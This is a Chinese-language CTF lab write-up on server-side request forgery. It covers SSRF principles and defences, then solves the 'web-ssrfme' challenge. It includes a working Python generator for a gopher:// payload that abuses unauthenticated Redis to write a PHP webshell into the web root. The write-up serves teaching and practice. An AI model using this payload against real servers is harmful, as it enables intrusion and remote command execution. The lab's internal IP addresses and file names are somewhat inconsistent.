目录
web-ssrfme
一.学前知识
1.原理
2、攻击场景与危害
3、防御方法
二.web-ssrfme
1.下载
2.拉取
3.访问8091端口
4.查看内网ip
5.检测内网存活主机
6.测试漏洞
7.生成 payload
8.写入 Webshell
9.flag
web-ssrfme
一.学前知识
SSRF漏洞原理与攻击防御方法
1.原理
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造恶意请求,诱导服务端向非预期目标发起网络请求的安全漏洞。其核心原理是服务端未对用户提交的URL参数进行有效过滤和限制,导致攻击者可操控服务端访问内网资源或敏感服务。
典型触发场景:
数据获取功能:如网页转码、在线翻译、图片/文件下载等需从外部URL获取数据的业务。 接口调用:服务端通过用户提供的URL调用API或加载远程内容(如XML文件)。 协议处理缺陷:服务端支持非HTTP协议(如file://、gopher://、dict://),允许访问本地文件或内网服务。
2、攻击场景与危害
内网资源探测
通过构造请求扫描内网IP和端口(如Redis默认端口6379),判断服务开放状态。 利用错误信息差异(如响应时间、返回内容)识别内网主机和服务。
敏感数据泄露
访问内网数据库、配置文件(如file:///etc/passwd)或管理界面。 通过gopher协议读取本地文件或执行未授权操作(如Redis未授权访问)。
服务端请求伪造
攻击内网应用:利用服务端发起HTTP请求,绕过防火墙限制,攻击内网Web应用(如Struts2漏洞利用)。 协议滥用:通过Redis协议写入Webshell或定时任务,实现远程控制。
3、防御方法
输入校验与过滤
限制协议类型:禁用高危协议(如file://、gopher://),仅允许HTTP/HTTPS。 白名单机制:校验URL域名和IP,禁止访问内网地址段(如127.0.0.1、192.168..)。 规范化处理:对用户输入的URL进行解析和重组,避免绕过(如0x7F.0.0.1绕过127.0.0.1检测)。
网络与权限控制
最小化服务端权限:运行Web服务的账户应限制网络访问权限,避免直接访问敏感服务。 端口限制:仅允许访问业务必需的端口(如80、443)。 内网隔离:通过防火墙策略禁止服务端主动向外网或非信任内网发起请求。
增强服务端安全性
统一错误处理:避免通过错误信息暴露端口状态或内部网络结构。 请求结果校验:验证服务端返回的数据类型(如仅允许图片格式),防止数据泄露。 依赖服务加固:如Redis启用密码认证(requirepass)、绑定本地地址。
二.web-ssrfme
在我们这次的实验,主要是web-ssrfme的复现
1.下载
首先下载web-ssrfme.zip,然后放到虚拟机内,解压后cd切换到含有docker-compose.yml文件夹目录下输入指令,然后进行拖拽docker镜像命令
cd web-ssrfme/ cat docker-compose.yml
2.拉取
拉取dockers环境
docker-compose up -d
3.访问8091端口
进行尝试访问8091端口,然后出现了下面的代码页面
<?php highlight_file(__file__); function curl($url){ $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch); }if(isset($_GET['url'])){$url = $_GET['url'];if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)){die('No, No, No!');}curl($url); } if(isset($_GET['info'])){phpinfo(); } ?>
查看上面的代码可以发现禁用了file协议、dict协议、127.0.0.1和localhost,但是这里并没有过滤http协议和gopher协议,所以我们可以使用http协议进行内网主机存活探测
4.查看内网ip
然后我们可以通过phpinfo来查看内网ip
5.检测内网存活主机
我们使用抓包工具检测内网存活主机,发现 172.20.0.2存在 HTTP服务,并返回 Go away。
6.测试漏洞
使用 burpsuite 对 172.18.0.2进行端口扫描,发现 6379端口返回 Redis报错信息,说明目标主机上运行着 Redis 服务,这说明可能存在未授权访问漏洞,那么我们就可以尝试redis未授权访问。
7.生成 payload
redis未授权访问里,我们可以让Python 脚本生成 gopher协议 payload
import urllib protocol = "gopher://" ip = "172.20.0.2" port = "6379" shell = "\n\n<?php system(\"cat /flag\");?>\n\n" filename = "web.php" path = "/var/www/html/upload" passwd = "" cmd = ["flushall","set 1 {}".format(shell.replace(" ", "${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"] if passwd:cmd.insert(0, "AUTH {}".format(passwd)) payload = protocol + ip + ":" + port + "/_" def redis_format(arr):CRLF = "\r\n"redis_arr = arr.split(" ")cmd = ""cmd += "*" + str(len(redis_arr)) + CRLFfor x in redis_arr:x_clean = x.replace("${IFS}", " ")cmd += "$" + str(len(x_clean)) + CRLF + x_clean + CRLFreturn cmd if __name__ == "__main__":for x in cmd:payload += urllib.parse.quote(redis_format(x))print(payload)
8.写入 Webshell
写入 Webshell(木马),将生成后的payload进行二次编码,然后Redis 执行,会在 /var/www/html/upload目录生成 shell.php,其中包含 webshell代码
9.flag
接下来就是最后一步,访问 Webshell 获取 flag成功写入 web.php
,使用 SSRF 访问它
/?url=http://172.18.0.2/upload/web.php
最后成功得到了flag